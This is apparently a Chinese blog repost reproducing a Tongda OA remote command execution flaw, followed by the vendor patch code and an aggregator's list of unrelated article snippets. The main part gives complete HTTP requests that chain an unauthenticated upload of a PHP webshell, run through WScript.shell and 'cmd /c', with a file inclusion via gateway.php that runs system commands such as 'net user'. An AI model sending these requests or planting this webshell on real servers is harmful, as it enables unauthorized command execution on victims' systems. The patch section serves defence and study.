通达oa 不允许从该ip登陆_通达OA-命令执行漏洞复现

ac52e6d642fc28edab50e06b4364400e.png

45e38477eac79a8a4263949916fed197.png

通达OA-命令执行

一、环境

安装文件:

链接:https://pan.baidu.com/s/1Y78Zs-7Igi4MRE0J_Dp-dQ 提取码:2b3i

da6c25f1e2bb1fa312bbbbd95732a4e7.png

二、漏洞验证

任意文件上传漏洞 /ispirit/im/upload.php

本地文件包含漏洞 /ispirit/interface/gateway.php

这两个路径不需要登录认证。

burp抓包修改数据包上传文件

POST /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 658

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5

Cookie: PHPSESSID=123

Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="UPLOAD_MODE"

2

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="P"

123

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="DEST_UID"

1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

上传成功

ad0636761946ac4263a285617062c38c.png

查看返回数据包

HTTP/1.1200OKServer: nginxDate: Wed, 18 Mar 2020 12:12:58 GMTContent-Type: text/html; charset=gbkConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=123; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheX-Frame-Options: SAMEORIGINContent-Length: 41​+OK[vm]143263@2003_1787828218|jpg|0[/vm]

文件包含的filename=2003/1787828218.jpg

继续修改数据包 包含前面的文件名称,并且执行系统命令

POST/mac/gateway.phpHTTP/1.1Host: 127.0.0.1:8080Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 74Content-Type: application/x-www-form-urlencoded​​json={"url":"/general/../../attach/im/2003/1787828218.jpg"}&cmd=net user

命令执行成功

e53d18cbf709c5aa85e42cb0f6da1c3d.png

上面验证方式是通过burp抓包验证成功

下面通过python脚本验证:

b6031cf59c09ea0bf5465301bdcd1882.png

成功命令执行

三、修复代码

补丁修复 /ispirit/im/upload.php

原文件代码:

set_time_limit(0);

$P = $_POST['P'];

if (isset($P) || $P != '') {

ob_start();

include_once 'inc/session.php';

session_id($P);

session_start();

session_write_close();

} else {

include_once './auth.php';

}

修改后代码

删掉了else判断,直接包含/auth.php

//lp 2012/11/29 1:26:01 兼容客户端提交数据时无session的情况

if(isset($P) || $P!="")

{

ob_start();

include_once("inc/session.php");

session_id($P);

session_start();

session_write_close();

}

include_once("./auth.php");

auth.php

这里就直接判断用的是否登录

include_once 'inc/session.php';

session_start();

session_write_close();

include_once 'inc/conn.php';

include_once 'inc/utility.php';

ob_start();

if (!isset($_SESSION['LOGIN_USER_ID']) || $_SESSION['LOGIN_USER_ID'] == '' || !isset($_SESSION['LOGIN_UID']) || $_SESSION['LOGIN_UID'] == '') {

sleep(1);

if (!isset($_SESSION['LOGIN_USER_ID']) || $_SESSION['LOGIN_USER_ID'] == '' || !isset($_SESSION['LOGIN_UID']) || $_SESSION['LOGIN_UID'] == '') {

echo '-ERR ' . _('用户未登陆');

exit;

}

}

四、参考文档

https://github.com/jas502n/OA-tongda-RCE

https://www.cnblogs.com/potatsoSec/p/12516234.html

​公众号:

f620091c2c962b6ba5861260b9305ab9.png

thelostworld:

dd74608ad421380ce25310e83baecd39.png

个人知乎​:https://www.zhihu.com/people/fu-wei-43-69/columns

​个人简书:https://www.jianshu.com/u/bf0e38a8d400

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/434181.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql数据转存到时序数据库_干货丨如何高速迁移MySQL数据到时序数据库DolphinDB...

DolphinDB提供了两种导入MySQL数据的方法:ODBC插件和MySQL插件。我们推荐使用MySQL插件导入MySQL数据,因为它的速度比ODBC导入更快,导入6.5G数据,MySQL插件的速度是ODBC插件的4倍,并且使用MySQL插件无需任何配置&#…

优秀程序员的45个习惯

摘要:值得打印出来贴在办公室墙上学习实践的箴言。 优秀来自好的习惯。怎样成为优秀的开发人员?图灵公司最近热销的《高效程序员的45个习惯》一书给出了很好的解答,非常值得一读。 这本书的英文原版荣获了有软件奥斯卡之称的Jolt生产效率大奖…

python属性_深入理解python对象及属性

类属性和实例属性 首先来看看类属性和类实例的属性在python中如何存储,通过__dir__方法来查看对象的属性 >>> class Test(object): pass >>> test Test(http://www.my516.com) # 查看类属性 >>> dir(Test) [__class__,__delattr__,__di…

java 类型转换_java中的基本数据类型的转换

本文参考了如下两篇文章:Java中,经常可以遇到类型转换的场景,从变量的定义到复制、数值变量的计算到方法的参数传递、基类与派生类间的造型等,随处可见类型转换的身影。Java中的类型转换在Java编码中具有重要的作用。首先,来了解下…

Activity的四种加载模式(转载)

在多Activity开发中,有可能是自己应用之间的Activity跳转,或者夹带其他应用的可复用Activity。可能会希望跳转到原来某个Activity实例,而不是产生大量重复的Activity。这需要为Activity配置特定的加载模式,而不是使用默认的加载模…

cubieboard 将linux debian 系统灌入Nand中的操作记录

下载地址:http://guillaumeplayground.net:81/share/debian_wheezy_armhf_v1_mele.img.gz 首先在WIN系统下使用Win32diskimager将debian_wheezy_armhf_v1_mele.img刷到TF卡中,然后把TF卡放入CB的TF卡槽,加电启动。 因为Debian已经自带了SS…

centos 安装tomcat_简单介绍Linux配置mysql,tomcat,Nginx 开机自启动的几个方式

概述一般我们打算把一些服务,例如 mysql,tomcat,Nginx设置开机自启动的话一般是有三四种方式来实现,下面以mysql,tomcat,Nginx做例子来演示。一、使用定时任务 cron 命令创建定时任务来运行 .sh 脚本。在sh…

java 永久代_Java新生代、老生代和永久代详解

前言: 还是面试经常被q,小结一下image.pngJVM中的堆一般分为三部分,新生代、老年代和永久代。1 新生代主要是用来存放新生的对象。一般占据堆空间的1/3,由于频繁创建对象,所以新生代会频繁触发MinorGC进行垃圾回收。新生代分为Ede…

java算法:冒泡排序

java算法:冒泡排序 冒泡排序:不断遍历文件,交换倒序的相邻元素,直到文件排好顺序。冒泡排序的主要优点是容易实现,冒泡排序通常会比选择排序、插入排序慢。 如,对EXAMPLE 字母进行排序: E X…

python3发布时间_Python3优雅操作-时间处理与定时任务

无论哪种编程语言,时间肯定都是非常重要的部分,今天来看一下python如何来处理时间和python定时任务 注意:本篇所讲是python3版本的实现,在python2版本中的实现略有不同 1.计算明天和昨天的日期 #! /usr/bin/env python #codingutf…

Cubieboard安装Debian在Nand中

本教程所附带系统为Server版,不带显示,所以插显示器是不会有任何画面出现的。另外所提供系统为 http://linux-sunxi.org 所推荐(linux-sunxi.org的权威毋庸置疑),非CB官方提供,但CB官方并未提供相关CB所用Server版,而且…

strlwr,strupr函数

函数原型&#xff1a;extern char *strlwr(char *str) extern char *strupr(char *s) 参数说明&#xff1a;str为要转换的字符串。 所在库名&#xff1a;#include <string.h> 函数功能&#xff1a;将字符串str中的大(小)写字母转换成为小(大)写字母&#xff…

为Cubieboard打造完美Debian系统

作为Cubieboard的用户&#xff0c;最头疼的问题就是没有一个比较好的系统&#xff0c;本文将帮你解决这个问题。 首先需要感谢网站http://guillaumeplayground.net/的作者制作了这个系统。不过由于是定制给mele的&#xff0c;所以在Cubieboard上运行需要做一些优化调整。 系统…

python中的类怎样理解_理解Python数据类:Dataclass fields 的概述(下)

原标题 Understanding Python Dataclasses?—?Part 2 &#xff0c;作者为 Shikhar Chauhan 。这是 Python 最新的 Dataclasses 系列的第二部分内容。在第一部分里&#xff0c;我介绍了 dataclasses 的一般用法。这篇主要介绍另一个特征&#xff1a;dataclasses.field。我们已…

java 图形处理库_java中处理图片的类库

拷贝一下代码&#xff0c;以后备用&#xff1a;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.PrintWriter;import java.util.ArrayList;import java.util.List;import javax.servlet.ServletException;import javax.servle…

Hibernate @OneToMany等注解设置查询过滤条件等

如实体PdOrg对象中有users对象&#xff0c;数据库user表有字段DEL_FLAG(0&#xff1a;删除&#xff1b;1&#xff1a;未删除)&#xff1a; private List<User> users new ArrayList<User>(); 生成get、set方法&#xff1a; OneToMany(fetchFetchType.LAZY, mappedB…

西部数码域名解析到阿里云_西部数码云主机好吗 稳定性如何

随着云计算技术的不断发展&#xff0c;我国云计算市场的经济效益也在日渐扩大&#xff0c;各个云服务商之间的竞争异常激烈。在这种环境下&#xff0c;备受人们关注的云服务企业主要呈现两大类&#xff0c;一是互联网巨头背景的阿里云、腾讯云等&#xff1b;二是以西部数码为代…

ffmpeg yasm not found, use --disable-yasm for a crippled build

yasm是汇编编译器&#xff0c;因为ffmpeg中为了提高效率用到了汇编指令&#xff0c;比如MMX和SSE。解决这个问题方面有两个&#xff1a;1、在网上下载一个yasm.exe并安装在mingw/bin下面&#xff0c;编译代码时你注意看&#xff0c;会发现asm后缀的文件用的编译器是yasm&#x…

java native 接口_Java本地接口--Java Native Interface (JNI)

一、方法介绍java native方法是指本地方法&#xff0c;当在方法中调用一些不是由java语言写的代码或者在方法中用java语言直接操纵计算机硬件时要声明为native方法。java中&#xff0c;通过JNI(Java Native Interface,java本地接口)来实现本地化。Native方法一般用于两种情况&a…

【转】android程序连接网络出现android.os.NetworkOnMainThreadExceptionat

错误&#xff1a; android.os.NetworkOnMainThreadException at android.os.StrictMode$AndroidBlockGuardPolicy.onNetwork(StrictMode.java:1099) ...... 原因&#xff1a;是涉及到url操作的时候&#xff0c;访问网络不能在主程序中运行 解决&#xff1a;参考【http://geeksu…